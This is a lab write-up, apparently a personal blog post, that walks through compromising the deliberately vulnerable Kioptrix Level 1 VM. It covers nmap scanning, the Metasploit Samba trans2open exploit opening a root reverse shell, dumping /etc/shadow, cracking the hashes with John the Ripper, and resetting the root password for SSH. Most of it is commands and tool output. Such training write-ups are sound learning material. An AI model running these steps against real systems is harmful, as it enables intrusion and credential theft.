At the beginning was the light… sorry… the NMAP-Scan 😉
First I scanned my network, to check where is my victim.
nmap -v -sn 192.168.0.0/24 Nmap scan report for 192.168.0.89 Host is up (0.070s latency). MAC Address: 00:0C:29:A2:D5:96 (VMware)
Okay, victim is found, time for the next scan:
root@kali:~# nmap 192.168.0.89 -sV Starting Nmap 7.40 ( https://nmap.org ) at 2017-03-17 20:36 CET Nmap scan report for 192.168.0.89 Host is up (0.021s latency). Not shown: 994 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 2.9p2 (protocol 1.99) 80/tcp open http Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b) 111/tcp open rpcbind 2 (RPC #100000) 139/tcp open netbios-ssn Samba smbd (workgroup: MYGROUP) 443/tcp open ssl/https Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b 1024/tcp open status 1 (RPC #100024) MAC Address: 00:0C:29:A2:D5:96 (VMware) Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 18.53 second
Interesting ports, first I will check port 139 and try to get more informations about the version of Samba. I start Metasploit and use the module “auxiliary/scanner/smb/smb_version”
msf auxiliary(smb_version) > show options Module options (auxiliary/scanner/smb/smb_version): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS 192.168.0.89 yes The target address range or CIDR identifier SMBDomain . no The Windows domain to use for authentication SMBPass no The password for the specified username SMBUser no The username to authenticate as THREADS 1 yes The number of concurrent threads msf auxiliary(smb_version) > run [*] 192.168.0.89:139 - Host could not be identified: Unix (Samba 2.2.1a) [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
Okay “Samba 2.2.1a”… short search…
Mhhh Metasploit module, okay let’s check the info!
msf > search trans2open Matching Modules ================ Name Disclosure Date Rank Description ---- --------------- ---- ----------- exploit/freebsd/samba/trans2open 2003-04-07 great Samba trans2open Overflow (*BSD x86) exploit/linux/samba/trans2open 2003-04-07 great Samba trans2open Overflow (Linux x86) exploit/osx/samba/trans2open 2003-04-07 great Samba trans2open Overflow (Mac OS X PPC) exploit/solaris/samba/trans2open 2003-04-07 great Samba trans2open Overflow (Solaris SPARC) msf > use exploit/linux/samba/trans2open msf exploit(trans2open) > show info Name: Samba trans2open Overflow (Linux x86) Module: exploit/linux/samba/trans2open Platform: Linux Privileged: Yes License: Metasploit Framework License (BSD) Rank: Great Disclosed: 2003-04-07 Provided by: hdm <x@hdm.io> jduck <jduck@metasploit.com> Available targets: Id Name -- ---- 0 Samba 2.2.x - Bruteforce Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 139 yes The target port Payload information: Space: 1024 Avoid: 1 characters Description: This exploits the buffer overflow found in Samba versions 2.2.0 to 2.2.8. This particular module is capable of exploiting the flaw on x86 Linux systems that do not have the noexec stack option set. NOTE: Some older versions of RedHat do not seem to be vulnerable since they apparently do not allow anonymous access to IPC. References: https://cvedetails.com/cve/CVE-2003-0201/OSVDB (4469) http://www.securityfocus.com/bid/7294 http://seclists.org/bugtraq/2003/Apr/103
Okay, what do we need:
- Linux… check
- Samba 2.2.x… check
- Port 139… check
- Victim… check
Let’s exploit:
msf exploit(trans2open) > run [*] Started reverse TCP handler on 192.168.0.65:8080 [*] 192.168.0.89:139 - Trying return address 0xbffffdfc... [*] 192.168.0.89:139 - Trying return address 0xbffffcfc... [*] 192.168.0.89:139 - Trying return address 0xbffffbfc... [*] 192.168.0.89:139 - Trying return address 0xbffffafc... [*] Sending stage (36 bytes) to 192.168.0.89 [*] Command shell session 1 opened (192.168.0.65:8080 -> 192.168.0.89:1028) at 2017-03-17 21:57:25 +0100 id uid=0(root) gid=0(root) groups=99(nobody)
Root…but I hate this shell… first I try to get another:
cat /etc/shadow root:$1$2ArH.BSD$k/7YAyTE1.zbSU5fvr.zT0:17242:0:99999:7::: . . . john:$1$zL4.MR4t$26N4YpTGceBO0gTX6TAky1:14513:0:99999:7::: harold:$1$Xx6dZdOd$IMOGACl3r757dv17LZ9010:14513:0:99999:7::: root@kali:~# john --wordlist=/usr/share/wordlists/rockyou.txt /root/Documents/koba/vulnhub/kioptrix/hashes/shadow Warning: detected hash type "md5crypt", but the string is also recognized as "aix-smd5" Use the "--format=aix-smd5" option to force loading these as that type instead Using default input encoding: UTF-8 Loaded 3 password hashes with 3 different salts (md5crypt, crypt(3) $1$ [MD5 128/128 AVX 4x3]) Press 'q' or Ctrl-C to abort, almost any other key for status 0g 0:00:00:07 0.58% (ETA: 21:32:23) 0g/s 12533p/s 37601c/s 37601C/s 033079..032009 0g 0:00:07:43 39.21% (ETA: 21:31:53) 0g/s 12395p/s 37187c/s 37187C/s martoni2c..martona 0g 0:00:20:21 99.42% (ETA: 21:32:41) 0g/s 11673p/s 35019c/s 35019C/s 003187180738..00317733695259 0g 0:00:20:28 DONE (2017-03-17 21:32) 0g/s 11672p/s 35018c/s 35018C/s 123d..*7¡Vamos! Session completed
Shit…
Okay, the simple way:
passwd New password: password BAD PASSWORD: it is based on a dictionary word Retype new password: password passwd: all authentication tokens updated successfully
So, back to Kali and try to login over SSH with the fresh password:
root@kali:~# ssh 192.168.0.89 root@192.168.0.89's password: Last login: Mon Oct 12 07:27:46 2009 from 192.168.1.200 unknown terminal "xterm-256color" unknown terminal "xterm-256color" [root@kioptrix root]#
Wonderful!
I checked many files on the victim to find hints or something else.
This is what I find:
Nice victim, time to download the next one 😉
For more information’s: https://www.vulnhub.com/entry/kioptrix-level-1-1,22/
Bye, Andreas
byte8 